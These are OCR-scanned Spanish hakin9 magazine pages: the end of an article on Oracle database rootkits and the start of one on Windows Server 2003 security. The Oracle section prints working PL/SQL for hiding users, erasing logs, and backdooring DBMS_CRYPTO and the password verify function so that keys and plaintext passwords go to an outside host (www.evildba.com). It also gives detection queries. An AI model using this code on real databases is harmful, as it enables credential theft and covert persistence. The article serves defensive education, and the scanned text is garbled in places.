estas modificaciones. Un atacante
debe crear diferentes objetos para
diferentes cuentas de administrador.
La mayoria de los intrusos prefieren
el cuarto método, porque la vista
original no es modificada y funciona
para todas las cuentas excepto svs.

Objetivos potenciales para
modificaciones

Hay mas de 2000 vistas de sistema
que pertenecen al duefio sys (Oracle
10.1.0.4: 2643 vistas). Pero no todas
las vistas son objetivos apropiados
para un atacante. Algunas son mas
apetecibles que otras. Las vistas
de sistema presentadas en la Ta-
bla 2 son especialmente atractivas
para los atacantes, y deberian ser
comprobadas por el DBA de forma
regular.

Pseudo-cédigo/
concepto de un rootkit

de Oracle

La siguiente seccion describe los
componentes tipicos de un rootkit de
Oracle de primera generacion. Con
esta generacién se crean a menudo
usuarios nuevos, ocultos. Después,
todas las huellas son borradas de los
diversos ficheros y archivos de regis-
tro. Por lo general, los rootkits tam-
bién captan claves de acceso en el
sistema. Describiremos brevemente
los siguientes componentes:

e crear y ocultar usuarios invisi-
bles,
» ocultar procesos activos,

www.hakin9.org
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Listado 3. Crear una nueva vista en el esquema del usuario (por
ejemplo SYSTEM,; se precisa el rol SYSDBA)

CREATE VIEW DBA USERS AS
SELECT *
FROM SYS.DBA USERS
WHERE USERNAME != 'HACKER';

Listado 4. Crear una nueva tabla DBA _USERS en el esquema del
usuario (por ejemplo SYSTEM)

CREATE TABLE DBA_USERS AS
SELECT *
FROM SYS.DBA USERS
WHERE USERNAME != 'HACKER';

Listado 5. Crear una nueva tabla DBA_MYUSERS en el esquema del
usuario (por ejemplo SYSTEM)

CREATE TABLE DBA_MYUSERS AS
SELECT *
FROM SYS.DBA USERS
WHERE USERNAME != 'HACKER';
CREATE SYNONYM DBA USERS FOR HACKER.DBA MYUSERS;

Listado 6. Crear una nueva tabla DBA_MYUSERS en el esquema del
usuario (por ejemplo SYSTEM)

CREATE TABLE DBA_MYUSERS AS
SELECT *
FROM SYS.DBA USERS
WHERE USERNAME != 'HACKER';

CREATE OR REPLACE SYNONYM DBA USERS FOR HACKER.DBA MYUSERS;

Tabla 2. Objetivos potenciales para modificaciones

Vista de Sistema

DBA _ USERS Muestra todos los usuarios de la base de datos
ALL USERS Muestra todos los usuarios de la base de datos
DBA _ JOBS Muestra todas las tareas de la base de datos
V$SESSION

Muestra todos los procesos activos

V _ SPROCESS Muestra todos los procesos activos

DBA _ DIRECTORIES Muestra todos los directorios Oracle

ALL _ DIRECTORIES Muestra todos los directorios Oracle

DBA _ AUDIT _ TRAIL Muestra toda la informacion audit

DBA _ EXTERNAL _TABLES Muestra todas las tablas externas

ALL EXTERNAL TABLES Muestra todas las tablas externas

limpiar el registro listener de Ora- < instalar un sniffer de claves de
cle, acceso de Oracle.

limpiar Oracle SGA,

limpiar Oracle RedolLog,
interceptar las llamadas a Paque-
tes Oracle,

Creando y ocultando usuarios
Como ya hemos visto, hay diferentes
posibilidades para ocultar usuarios.

Solo hemos de ver los ejemplos dis-
cutidos anteriormente.

Ocultando procesos activos
Es posible ocultar procesos activos
modificando las vistas vssesszon,
GV _ $SESSION, FLOW _ SESSIONS, \
sprocess. Las mismas técnicas, por
ejemplo modificacién de vistas y
cambio del path de ejecucion, son
posibles.

Limpiando el registro listener
de Oracle

Durante el proceso de entrada a la
base de datos, todo es registrado
en listener.log, de los TNS-Listeners
(si esta activado el registro). La eli-
minacién de estas huellas es algo
tipico en los intrusos. Oracle ofrece
diversas posibilidades para hacerlo.
La mas facil es utilizando el paque-
te utl_file. Este paquete permite la
lectura (urr FILE.GET LINE), €SCri-
tura (urt _r1LE.PUT _LINE) Y borrado
(urr _rrpeE.FrEMOVE) de archivos. El
archivo de registro no esta protegido
contra el TNS listener, por eso es
posible cambiar el contenido durante
la ejecucion.

Limpiando la SGA de Oracle
Quedan también huellas de un ata-
que en la memoria de la base de
datos (SGA, System Global Area
— Area Global de Sistema). Cada
comando SQL enviado por cada
usuario puede ser examinado se-
leccionando la vista v _ssoLarea.
Para eliminar estas huellas de la
SGA es suficiente con eliminar el
depdsito compartido con el siguiente
comando:

ALTER SYSTEM FLUSH SHARED POOL;

Tengamos en cuenta que el borrado
del depdsito compartido tiene un im-
pacto negativo sobre el rendimiento
de la base de datos, y que a veces
los usuarios se quejan del rendi-
miento.

Borrando el Redo-Log

de Oracle

Cada transaccion que cambia la
base de datos sera guardada en el
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archivo Redo-Log y también en el
registro de archivos, si la base de

datos esta ejecutandose en modo
de registro de archivos. Un atacan-

.. .. Ista Ista
te por lo general cubrira también

utiliza el siguiente comando para
oo CORGSREETRRL sl
el Redo-Log:

ALTER SYSTEM SWITCH LOGFILE;

Después de la instalacion del roo-

tkit, se cambia el Redo-Log, hasta

que todos los ficheros Redo-Log  Figura 6. Path de Acceso de Oracle
en todos los grupos Redo-Log sean

sustituidos. Si la base de datos esta
ejecutandose en modo de registro ) )

. : encriptar/desencriptar
de archivos, es necesario borrar el
ultimo fichero de archivo con el pa-
quete utl_file.fremove.

Interceptando las llamadas a

paquetes Oracle

Dentro de la base de datos Ora-
cle, es posible interceptar todas
las llamadas a paquetes (Package
Interception), cambiar o registrar
parametros y llamar al paquete
original. Esto puede usarse para
falsificar checksums (por ejemplo _ _

MD5), o para interceptar claves de
encriptacién o claves de acceso.
A menudo no se requieren privile-  Figura 7. Llamada dbms_crypto desde una aplicacion
gios DBA, porque los cambios son

efectuados en el esquema de la ]
. L. www.evildba.com
aplicacion.

La Figura 7 muestra como una Clave de Encriptacion
funcién encrypt es invocada desde

una' aplicacion. La funcllon encrypt encriptar/desencriptar
envia el valor desencriptado y la

clave de encriptacion. De acuer-
do con la resolucion de nombres
normal, se encuentra el sinébnimo
publico, que se refiere al paquete
sys.peMs _crypro. Este paquete
una vez mas se refiere al paquete
pDBMS _CRYPTO FrFI, que llama a la

rierary (ver Figura 8). La clave de

encriptacién siempre se envia en
texto sencillo.

El cédigo fuente para intercep-
tar una clave es muy simple. Copia
la especificacion de paquete del pa-
quete original ($ORACLE_HOME/ Figura 8. Llamada dbms_crypto desde una aplicacion, todas las claves son
rdbms/admin)y afiade el valorde un  interceptadas

Tabla

Funcion || Procedimiento | | Paquete

Clave de Encriptacion

Clave de Encriptacion

Clave de Encriptacion
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Listado 7. Interceptacion de la especificacion de paquete dbms_crypto
que envia todas las claves de encriptacién a un servidor web externo

CREATE OR REPLACE PACKAGE DBMS_CRYPTO AS

-- Web Server for key logging

KEYWEBSERVER CONSTANT VARCHAR2 (40) :='http://www.evildba.com/';
KEYRC VARCHARZ (32767) ;

-- Hash Functions

HASH_MD4 CONSTANT PLS_INTEGER := 1;

HASH_MDS CONSTANT PLS_INTEGER = 2;

HASH78H1 CONSTANT PLS_INTEGER := 3;
-- MAC Functions

HMAC_MDS CONSTANT PLS_INTEGER = 1;

HMAC78H1 CONSTANT PLS_INTEGER := 2;

\( ) J
Listado 8. Interceptacion del cuerpo del paquete dbms_crypto que
envia todas las claves de encriptacion a un servidor web externo
CREATE OR REPLACE PACKAGE BODY DBMS_CRYPTO AS
FUNCTION Encrypt (src IN RAW,

typ IN PLS_INTEGER,
key IN RAW,
iv IN RAW DEFAULT NULL)
RETURN RAW AS
BEGIN
keyrc:=utl_http.request <+
(KEYWEBSERVER| | 'user="||user||"'/'||"'/key=" <«
| IUTL_RAW.cast_to_varchar2 (key) ||'/iv=" <+
| [UTL_RAW.cast_to_varchar2(iv)||'/typ="1|typ);
RETURN SYS.dbms_crypto.encrypt (src,typ, key,iv);
END;
\( ) J

Tabla 3. Objetivos potenciales para la interceptacion de paquetes, depende
de la version y componentes instalados

dbms _ crypto Intercepta claves de encriptacién

Intercepta claves de acceso de proxy
HTTP

dbms _ ldap _utl Intercepta credenciales LDAP

Intercepta claves de acceso mod_plsql

wwv _flow security Intercepta claves de acceso HTMLDB

mgmt _ login _assistant Intercepta cuentas y claves de acceso
Metalink

servidor web, hacia el que se envia-
ran todos los datos interceptados.
El cuerpo del paquete replica todas
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las funciones y procedimientos con
una diferencia. Todos los parame-
tros seran enviados a un servidor

[
Glosario

* PL/SQL Native Compilation — Un
programa A PL/SQL normalmente
es almacenado como coédigo de
bytes en la base de datos, y se-
rd puesto en marcha durante la
ejecucion por una maquina virtual
para PL/SQL. Desde Oracle 9i es
posible compilar un programa PL/
SQL hacia cédigo nativo que sera
puesto en marcha durante la ejecu-
cion. Esto hace que los programas
que necesitan mucha computacion
sean mas rapidos.

* VPD (Virtual Private Database
— Base de Datos Privada Virtual)
— Esta caracteristica se conoce
también como Fine Grained Ac-
cess Control — Control de Acceso
Muy Filtrado (FGAC) y permite
la definicion de qué usuario tiene
acceso a qué linea. Es posible, por
ejemplo, afiadir una linea adicional
COMO AND DEPARTMENT='SALES' @
cada comando SQL.

N

web. Para hacer esto, se invocara
alafuncion ut1 _ http.request. Des-
pués de todo, el paquete original
sera llamado a través del nombre
completo adecuado. Véanse Lista-
dos 7 y 8 como ejemplos de como
se consigue.

Es posible interceptar todos los
parametros enviados con la funcién
de interceptacién de paquetes. La
Tabla 3 muestra paquetes poten-
ciales, que permiten la intercep-
tacion de informacion sensible
como claves de acceso y claves de
encriptacion. Esta lista contiene tan
solo un pequefio grupo de objetivos
posibles.

Sniffer de claves

de acceso Oracle

La base de datos de Oracle tiene
una caracteristica rara vez utilizada,
llamada Password Verify Function,
para comprobar la complejidad de
una clave de acceso (por ejemplo,
al menos 8 caracteres, 1 caracter
especial). Esta funcionalidad sera
puesta en marcha con una funcién
PL/SQL. Por este motivo, todas las
claves son enviadas en texto simple
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~
Sobre el autor Listado 9. Funcion de verificacion de claves de acceso que guarda
Alexander Kornbrust es el fundador todas las claves de acceso de texto simple de cada usuario en una tabla
y CEO de Red-Database-Security HACKER.SNIFFED
GmbH, %'ma empresa GSpeCIallzada -- Create (or modify an existing) a password verify function
en segundgd de Oracle. E_S responsa- CREATE OR REPLACE FUNCTION verify function
ble de auditorias de Segundad Oracle (username varchar2, password varchar2, old password varchar2)
y de formacion anti-hacker Oracle. RETURN boolean IS
Alexander Kornbrust trabaja con pro- BEGIN
ductos Oracle desde 1992 como DBA -- Store all passwords in a new table
ydesarrollador. Antes de la fundacion -- or send the passwords via utl http.request to a foreign server
de Red-Database-Security, trabajo -- utl_http.request
varios afios para Oracle Alemania y -- ('http://www.evilhacker.com/user="||username| | '#password="||password)
Oracle Suiza insert into hacker.SNIFFED passwords

’ Y, values (username, password, old password);

RETURN (TRUE) ;

. END;
a esta funcion. Un atacante puede -- Apply the password verify function to the default profile
usar esto para almacenar todas -- All password changes of all accounts using the default profiles
las nuevas claves de acceso en un -- are now stored in the table sniffed passwords
archivo o tabla. o enviar las claves ALTER PROFILE DEFAULT LIMIT PASSWORD VERIFY FUNCTION verify function;

de acceso junto con sus cuentas a
un servidor web externo si la base
de datos es capaz de acceder a
Internet. En el Listado 9 se muestra
una funcion de ejemplo que regis-
tra todos los cambios de claves de
acceso de la base de datos en una
tabla.

Listado 10. Mostrando las diferencias entre SYS.USERS y sus vistas
adecuadas

SELECT NAME "Invisible user in DBA USERS"
FROM SYS.USER$
WHERE TYPE#=1
MINUS SELECT USERNAME FROM SYS.DBA_ USERS;
SELECT NAME "Invisible user in ALL USERS"
FROM SYS.USER$
WHERE TYPE#=1
MINUS SELECT USERNAME FROM SYS.ALL_USERS;

Descubriendo rootkits

de Oracle

Después de una intrusion en una
base de datos, el DBA deberia com-
probar la base de datos completa tan
pronto como sea posible, escrutar
cada objeto de la base de datos para
comprobar modificaciones y buscar -

guientes recomendaciones para el -
desarrollo:

Usar SQL dindmico para funcio-
nes criticas, evitando asi depen-
dencias.

Utilizacion de llamadas de fun- « Utilizar tablas de base en lugar

objetos recién creados. Puede ha-
cerse una comprobacién simple pa-
ra detectar usuarios ocultos usando
los comandos que se muestran en el
Listado 10.

Un desarrollador podria hacer
sus aplicaciones menos suscep-

cion completamente cualificadas
(por ejemplo sys.dbms _ crypto €n
Iugar de dbms _ crypto).

« Utilizar nombres que no sean
obvios para las funciones, proce-
sos y tablas para objetos criticos
(por ejemplo funcio7 en vez de

tibles a rootkits usando las si- encrypt).
~
En la Red
*  http://www.rootkit.com — informacion sobre rootkits de sistemas operativos,
*  http://www.red-database-security.com/wp/oracle_circumvent_encryption_
us.pdf — esquiva la encriptacion de las bases de datos Oracle,
*  http://www.red-database-security.com/repscan.html/ — repscan descubre modi-
ficaciones en el diccionario de datos de Oracle (por ejemplo rootkits),
* http://www.oracle.com/technology/deploy/security/db_security/htdocs/
vpd.html — descripcién de Base de Datos Privada Virtual,
»  http://www.oracle.com/technology/tech/pl_sql/htdocs/ncomp_faq.html — des-
cripcién de la Compilacion Nativa PL/SQL.
J

de vistas para objetos criticos
(por ejemplo svs.users en lugar
de pBA _ USERS).

Sumario

Los rootkits de Oracle pueden ser
una gran amenaza para las bases
de datos Oracle, porque puede ser
dificil eliminarlos. Todos los DBAs
deberian proteger sus bases de
datos Oracle con mucho cuidado,
por ejemplo aplicando los parches
de seguridad, cambiando las claves
de acceso por defecto y protegiendo
el TNS-Listener (hasta 9i) con una
clave de acceso. AUn mas, deberian
comprobar el diccionario de datos
regularmente y los esquemas de
usuarios para detectar modificacio-
nes. ®
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Seguridad de Windows

Server 2003

Rudra Kamal Sinha Roy =

Grado de dificultad
o0

os sistemas operativos Windows de
L 32-bits estaban disefiados y eran

vendidos para un uso empresarial de
mayor fiabilidad sin mantener la herencia de
DOS. Después de Windows NT 3.1, NT 3.5,
NT 3.51, NT 4.0, Microsoft intenté combinar
sus sistemas operativos de consumo con los
empresariales. Su primer intento, Windows
2000, no consiguié el objetivo, y fue lanzado
como sistema empresarial.

La edicion para usuarios domésticos de
Windows 2000, de nombre clave Windows
Neptune, detuvo su desarrollo, y Microsoft
publicd Windows ME en su lugar. Neptuno fue
integrado en un nuevo proyecto, Whistler, que
mas tarde se convertiria en Windows XP. Des-
de entonces, un nuevo sistema empresarial,
Windows Server 2003, ha ocupado el lugar su-
perior, y el cercano Windows Longhorn Server
completara el cuadro.

Sin embargo, la mayor parte de las empre-
sas siguen fieles a Windows 2000. Sélo al-
gunas han migrado a Windows Server 2003,
que aparentemente ha pasado desapercibido
en los ultimos dos afios y medio, si lo com-
paramos con la excitacién que ha creado
Windows XP. Un estudio realizado por As-
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( Windows Server 2003 no es una plataforma nueva, tiene ya mas
de tres afnos. Por eso, muchos lectores pensaran que hablar
ahora de su seguridad esta un poco pasado. Estan equivocados.
Ha llegado el momento en que muchas empresas se veran
obligadas a sustituir Windows 2000 Server, que esta perdiendo
su soporte. La opcion légica para ellos es Windows Server 2003.

e Merece la pena conocer qué mejoras de seguridad ofrece.

setMetrix muestra que en el primer cuarto de
2005, el 48% de los PCs de empresa todavia
tenian instalado Windows 2000, que solo ha-

-
En este articulo aprenderas...

* qué mejoras de seguridad han sido introducidas
en Windows Server 2003 y de qué manera lo
hacen mas seguro que sus predecesores,

» cuales son las debilidades que siguen existien-
do en Windows Server 2003, y que le hacen
susceptible de exploits,

* como pueden utilizarse estas debilidades en la
practica,

* qué puede hacer el administrador de Windo-
ws Server 2003 para hacer su servidor mas
seguro.

Lo que deberias saber...

» deberias tener experiencia de trabajo con ver-
siones anteriores de Windows,

» deberias estar familiarizado con los aspectos
basicos del funcionamiento de un sistema ope-
rativo,

» deberias saber como funciona la gestion de
memoria.
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Aproximaciones a la seguridad

Hablando de seguridad de redes y sistemas operativos, existen dos aproximaciones
basicas que podemos seguir, y se basan en dos filosofias muy diferentes. Ninguna
de ellas posee la verdad absoluta — la mejor para un ordenador o una red concreta
depende de las circunstancias, necesidades y prioridades de la organizacion o el
usuario individual. Mas importante aun, la eleccion depende de qué es lo mas im-
portante en una situacion determinada, el acceso o el control:

* El acceso como mas alta prioridad: en este caso, la eleccion seria un sistema
abierto por defecto, donde las medidas de seguridad son utilizadas segun sea
necesario. Empiezas con todo accesible, y debes determinar después qué cosas
no deben ser accesibles, cerrando la puerta a esos elementos.

» El control (seguridad) como prioridad: en este caso, la mejor eleccion sera un
sistema cerrado por defecto, basado en el principio del menor privilegio. Empie-
zas con todo cerrado y abres so6lo aquello que es necesario.

Estas dos ideas siempre estaran en los puntos opuestos del mundo de la seguri-
dad. Cuanto mas control tengas sobre tu red o tu sistema operativo, y mas firme-
mente lo protejas de las amenazas de la informatica en un mundo interconectado
(que incluye intrusos, atacantes, virus y otro tipo de malware), menos accesible
sera. Por otro lado, cuanto mas sencillo hagas el acceso a los recursos del sis-
tema para los empleados, clientes, socios, y otros, menos seguro y controlado

sera.

Esto es inevitable, asi que el primer paso sera determinar cual es la principal
prioridad y en qué punto se encuentran tus necesidades. El sistema ideal seria
uno completamente amigable al usuario debidamente autorizado, y absoluta-
mente impenetrable para cualquier otro, pero tal sistema no existe, y no puede

existir.

J

bia caido cuatro puntos porcentua-
les desde el tercer cuarto de 2003.
Esto indica que la popularidad de
Windows 2000 cae muy lentamen-
te, y los usuarios empresariales
parecen tener miedo de pasarse a
nuevos entornos Windows.

Otro problema con Windows
2000 es que Microsoft ha finalizado
el soporte para este sistema hace
bastante tiempo. Habia planes para
la distribucion del Service Pack 5,
pero eso nunca llegdé a producirse.
En julio de 2005, Windows 2000 se
encontraba en la fase de soporte ex-
tendido, dentro de su ciclo de vida,
lo que significa que no habra nuevos
service packs o actualizaciones
gratuitas no relativas a la seguridad.
Pronto llegara el momento en que
hasta el soporte para actualizacio-
nes de seguridad finalice.

Parece, entonces, que el Unico
camino posible para que las empre-
sas tengan servidores seguros es
pasarse a la siguiente generacion
de Microsoft Server. El lanzamiento
de Longhorn esta pensado para el

2007, asi que muchas empresas
no esperaran a que llegue. Win-
dows Server 2003 se convierte en la
opcion logica, ya que Windows XP
no esta pensado para el uso como
servidor.

Vamos a echar un vistazo a los
aspectos de seguridad de Windows
Server 2003, las ultimas vulnera-
bilidades conocidas, para ver si
ahora, casi tres afios después del
lanzamiento del sistema, merece
finalmente la pena migrar desde
Windows 2000 o escoger esta plata-
forma para nuevos proyectos.

Para la mayoria de las organiza-
ciones la seguridad es la prioridad
principal (ver Recuadro Aproxima-
ciones a la seguridad). Microsoft
ha tratado de responder a esto de
varias formas, empezando por su
Trustworthy ~ Computing Initiative.
Windows Server 2003 representa
un gran esfuerzo para proporcionar
un entorno informatico seguro, si lo
comparamos con sus predecesores,
pero sigue derrumbandose en algu-
nos escenarios.

www.hakin9.org

Un gran cambio, muy facil de
ver en Windows Server 2003, es la
diferencia en los ajustes por defecto.
Recordemos, este es el punto donde
una y otra vez Microsoft ha demos-
trado ser vulnerable y los hackers a
menudo aprovechan estos servicios
por defecto. Hablaremos sobre como
la version recién instalada del servi-
dor se diferencia de sus predeceso-
res, y como los nuevos ajustes por
defecto hacen el sistema operativo
mas seguro, mientras que al mismo
tiempo causan frustracion a algunos
administradores de sistemas que se
ven incapaces de acceder a aquello
que antes estaba disponible sin nin-
guna configuracion adicional en las
versiones anteriores. Echaremos un
vistazo a los cambios por defecto
en Windows Server 2003, concen-
trandonos sobre todo en los ajustes
de los servicios, la autenticacion vy,
ante todo el IIS. Deberiamos resaltar
que el IIS ha sido siempre la causa
notoria de los fallos de seguridad en
la mayoria de los sistemas Windows
Server.

¢Qué es nuevo? ;Qué
se ha mejorado?

Windows Server 2003 esta basado
en Windows 2000 Server, pero in-
cluye la compatibilidad y otra serie
de caracteristicas que encontramos
en Windows XP. Lo mas importante
de todo, trae una mayor seguridad.
Ninguno de los componentes de
servidor son activados durante el
arranque del sistema, lo que reduce
vectores de ataque para una nueva
instalaciéon. Se han introducido tam-
bién otras mejoras de seguridad.
Veamoslas.

Ajustes por defecto para los
servicios habituales

Un cambio en Windows 2003 es
que hay un menor numero de servi-
cios que se ejecuten bajo la cuenta
local del sistema (NT AUTHORITY\
SYSTEM). Practicamente todos los
servicios utilizaban esta cuenta en
Windows 2000. Los programas que
se ejecutan en este contexto tienen
privilegios ilimitados en el ordenador
local, lo que representa un riesgo
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obvio para la seguridad. En lugar de
utilizar la cuenta local del sistema,
algunos servicios habituales utilizan
ahora la cuenta de servicio local (NT
AUTHORITY\LOCAL SERVICE)ola
cuenta de servicio de red (NT
AUTHORITY\NETWORK  SERVI-
CE). Estas cuentas tienen un nivel
de privilegios mucho mas bajo que
la cuenta local del sistema.

Aun hay muchos servicios que
se ejecutan como sistema local
(por ejemplo, el servicio de Actua-
lizaciones Automaticas, el servicio
de navegador del ordenador y el
cliente DHCP, entre otros muchos).
Sin embargo, muchos otros no lo
hacen. Por ejemplo, el servicio de
Alerta, que usaba la cuenta local del
sistema en Windows 2000, utiliza la
cuenta de servicio de red en Server
2003. Esto permite una mejor segu-
ridad.

Cambios en el proceso de
autenticacion

El proceso de autenticacion se
ha mejorado para conseguir mas
seguridad a la hora de acceder al
ordenador local y al acceder a un
dominio. Un cambio importante para
la autenticaciéon en el ordenador lo-
cal es la imposibilidad de utilizar cla-
ves de acceso en blanco al acceder
al sistema de forma remota (a pesar
de todo, se pueden seguir utilizando
claves de acceso en blanco desde la
consola).

Los Cross-forest trusts (ver Re-
cuadro ;Qué son los cross-forest
trusts?) son una caracteristica nueva
para la autenticacion de dominio Ac-
tive Directory. Un forest trust utiliza
Kerberos v5 (ver Recuadro ;Qué es
Kerberos?), dirigiendo las peticiones
de autenticacién a través de forests.
Los administradores pueden contro-
lar el ambito de autenticacién entre
dos forests que tienen una relacion
de confianza, utilizando autentica-
cién selectiva. Cuando la opcion
de autenticaciéon selectiva esta ac-
tivada, podemos asignar permisos
manualmente para los dominios vy
recursos a los que queremos permi-
tir el acceso a los usuarios del otro
forest.
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Cambios a lIS

Algunos de los cambios mas impor-
tantes estan en las preferencias por
defecto de IIS 6.0. El servidor web
ahora ya no se instala por defecto
al instalar Windows Server 2003 en
sus ediciones Standard, Enterprise y
Datacenter (se instala en la edicion
Web Server, por razones obvias).
Esto ayuda a eliminar el problema,
demasiado frecuente, en el que los
administradores, sin darse cuenta,
estan ejecutando servidores web
rebeldes en la red.

Si instalamos IS 6.0, por de-
fecto se encontraréd en un modo
cerrado, donde los componentes
de contenidos dinamicos como
ASP, WebDAV vy las extensiones
de FrontPage estan deshabilitadas.
IS 6.0 incluye también un nuevo
método de autenticacion y autori-
zacion de URL para mayor segu-
ridad. La principal caracteristica
nueva incorporada en el disefio de
[1IS 6.0 es el kernel-mode HTTP dri-
ver, HTTP.sys. No sélo esta ajusta-
do para mejorar el rendimiento del
servidor web y su escalabilidad,
sino que también esta pensado
para reforzar significativamente la
seguridad del servidor. HTTP.sys
actua como puerta de enlace para
las peticiones de usuario al servi-
dor web. En primer lugar, interpreta
la peticion y luego la envia al pro-
ceso correspondiente, en el modo
de usuario. La restriccién de los
procesos de trabajador al modo
de usuario les impide acceder a re-
cursos restringidos en el kernel del
sistema. Asi, el espacio dejado a
un atacante que intente conseguir
acceso con privilegios al sistema
se reduce considerablemente.

Cambios en los miembros del
grupo Everyone

En antiguas versiones de Windows,
el grupo existente Everyone con-
sistia en, literalmente, cualquiera
que accediera al sistema, incluidos
los usuarios anonimos. En Server
2003, el grupo Everyone no incluye
a los usuarios anonimos, asi que
aunque se le de permisos al grupo
Everyone, aquellos que hayan ac-
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¢ Qué son los cross-fo-

rest trusts?

Windows Server 2003 soporta un
nuevo tipo de mecanismo de con-
fianza llamado cross-forest trusts. El
termino forest — bosque, es utilizado
para describir una jerarquia de domi-
nios en Windows Active Directory,
donde un grupo de dominios que
tienen el mismo nombre DNS es
llamado tree — arbol. Cuando multi-
ples bosques se establecen en una
organizacién (por lo general por mo-
tivos de seguridad o por una fusion
entre organizaciones), las confian-
zas entre ellos deben ser gestiona-
das o bien manualmente, o utilizando
el nuevo mecanismo de cross-forest
trusts, que automatiza el proceso
(cada dominio en el bosque A tiene
una relacién implicita de confianza
con cada dominio del bosque B).

¢, Qué es Kerberos?
Kerberos es un protocolo de autenti-
cacion de red que proporciona auten-
ticacion fuerte utilizando criptografia
de clave secreta para autenticar tanto
a las entidades cliente como servidor
y encriptar sus comunicaciones. Fue
disefiada para solucionar problemas
de seguridad con autenticacion por
asercion, donde la necesidad de
un login separado para cada red es
obvia, teniendo un login de usuario
para un dominio o ambito concreto.
Una vez el usuario ha accedido al
dominio o ambito, un servicio unico
identifica al usuario a instancias del
mismo, mientras éste accede a los
recursos.

N

cedido de forma andnima no tienen
esos permisos. Aquellos que entren
de forma andnima forman parte del
grupo Anonymous Logon, otro grupo
ya existente.

En un entorno de dominio Win-
dows Server 2003, podemos per-
mitir que los miembros del grupo
Anonymous Logon sean miembros
del grupo Everyone en un controla-
dor de dominio editando la politica
de seguridad de dominio (/nicio ->
Programas -> Herramientas Admi-
nistrativas -> Politica de Seguridad
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Servicios por defecto en Windows Server 2003

Servicios que se ejecutan bajo Servicio Local

*  Alerter,

» Application Layer Gateway Service,
* Remote Registry,

e Smart Card,

*  Smart Card Helper,

» SSDP Discovery Service,

*  TCP/IP NetBIOS Helper,

*  Telnet,

+  UPS,

* Universal Plug and Play,
*  Web Client,

*  Windows Image Acquisition,

*  WinHTTP Web Proxy Auto-Discovery Service.

Servicios que se ejecutan bajo Servicio de Red

+ DHCP Client,

» Distributed Transaction Coordinator,
+ DNS Client,

» License Logging,

*  Performance Logs and Alerts,

*  RPC Locator.

Servicios desactivados por defecto

* IS no instalado por defecto,

*  Alerter,

»  Clipbook,

» Distributed Link Tracking Server,

* Human Interface Device Access,

* Imapi CDROM Burning Service,

+ ICF/ICS,

* Intersite Messenging,

» License Logging,

*  Messenger,

* NetMeeting Remote Desktop Sharing,
*  Network DDE,

*  Network DDE DSDM,

* Routing y Remote Access,

*  Telnet,

» Terminal Service Session Discovery,
*  Themes,

*  WebClient,

*  Windows Image Acquisition (WIA),

» EIKDC de Kerberos esta también desactivado por defecto, y después es activado

automaticamente en DCPromo.

J

de Dominio). En el panel izquierdo
de la consola, expande los nudos
siguientes: Politica por Defecto de
Control de Dominio, Configuracion
del Ordenador, Preferencias de
Windows, Preferencias de Seguri-
dad, Politicas Locales, y pulsa so-
bre Opciones de Seguridad. En el
panel de detalles, pulsa con el bo-
ton derecho en Acceso de Red: de-

ja que los permisos de Everyone se
apliquen a los usuarios anénimos.
Selecciona Propiedades y marca la
casilla Definir esta politica, selec-
cionando entonces Activado para
aplicar los cambios.

Windows Server 2003 ha traido
estos cambios en la seguridad,
y algunos mas. Pero sigue plan-
teandose una cuestion. SEs este
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esfuerzo suficiente? — supongo
que no. Esto es asi porque, en
primer lugar, tenemos una configu-
racion inicial relativamente segura.
De acuerdo. Pero, ¢queremos
conservar nuestro servidor recién
instalado tal como esta, sin hacer
que sirva para ningun servicio?
Tenemos que darnos cuenta de
que la mayor parte de los sistemas
servidor sirven para dar algun tipo
de servicio al usuario final — sea
este un servidor web o cualquier
otra aplicacion para Internet o la
red local.

¢Qué les pasa a los
servicios?

Con la introduccién del propio tér-
mino de servicios, las cosas em-
pezaron a ir peor. Mantengamos
la discusion en los limites de los
servicios especificos de Microsoft.
Un servicio es una aplicacién que
funciona en un segundo plano, inde-
pendientemente de cualquier sesion
de usuario. Como los servicios se
ejecutan de forma desatendida, son
muy Utiles para las aplicaciones de
tipo servidor, como un servidor Web.
Pero esto tiene sus inconvenientes,
porque un usuario puede no ser
consciente de que se esta ejecutan-
do un servicio.

Al no existir ninguna interaccion
con el usuario, uno puede estar
ejecutando un monton de servicios
por defecto y nunca ser conscien-
te de los riesgos potenciales de
seguridad. Esto se hizo especial-
mente patente hace cierto tiempo,
cuando gusanos como Code Red
y Nimda se propagaron por todo
Internet, afectando a usuarios que
no sabian que estaban ejecutando
servicios web en sus estaciones
de trabajo. A su vez, estas esta-
ciones de trabajo infectadas dis-
tribuyeron el gusano a miles de
sistemas en Internet. Para reducir
los ataques a Windows Server
2003, Microsoft decidid desactivar
19 servicios, y redujo varios ser-
vicios para que fueran ejecutados
con menores privilegios (ver Re-
cuadro Servicios por defecto en
Windows Server 2003).
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Exploits de los servicios

Los servicios de Windows son explo-
tados manipulando el servicio para
que ejecute un comando o acceda
al sistema de archivos para leer o
escribir en un archivo protegido. Co-
mo la mayor parte de los servicios
operan en el contexto de seguridad
de la cuenta SYSTEM, normalmente
tienen acceso privilegiado a la mayo-
ria de las funciones del sistema. Esto
les hace particularmente interesan-
tes para los atacantes. Manipulando
un servicio, un atacante puede incre-
mentar sus privilegios para hacer lo
que quiera.

Por ejemplo, el Boletin de Se-
guridad de Microsoft MS02-006
se ocupa de una sobrecarga del
buffer en el servicio SNMP que
permitiria que un atacante pudiera
ejecutar comandos con los permi-
sos de la cuenta SYSTEM. Otros
agujeros de seguridad son menos
importantes, pero también utilizan
fallos en los servicios para permitir
otras acciones no autorizadas. Por
ejemplo, ha habido problemas en el
pasado (pero estos no afectan, por
fortuna, a Windows Server 2003)
en el servicio SMTP, que permitian
a un spammer disfrazarse envian-
do correos electronicos a través de
nuestro servidor.

El problema para el atacante
es conseguir el acceso al servicio.
Para la mayoria de los servicios
de Internet, es sélo cuestion de
conectarse al puerto TCP asigna-
do. Para otros servicios, uno debe
tener acceso local a la consola
para conseguir sacar beneficios
aprovechables. Para proteger un
servicio, debemos conocer los ex-
ploits y minimizar su exposicion a
dichos exploits.

El camino al exploit

Los ataques de Buffer overflow o
sobrecarga del buffer (ver Recua-
dro Ataques de sobrecarga de Buf-
fer) estan entre los mecanismos
mas comunes, o vectores, para la
intrusion en ordenadores. En este
tipo de exploit, el atacante envia
una larga cadena a un flujo de
entrada o control — mayor que el
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overflow.

Stack overflow

contenidos de esas secciones.

-

Ataques de sobrecarga de Buffer
Existen dos tipos principales de ataques de buffer overflow: stack overflow y heap

Sobre-escribir el stack es una de las vulnerabilidades mas comunes y ampliamente
conocidas del software actual. El proposito de este ataque es sobrecargar un buffer
hasta el punto en que el EIP instruction pointer register situado en el stack sea
sobre-escrito con la direccién de un cédigo arbitrario proporcionado. Cuando se
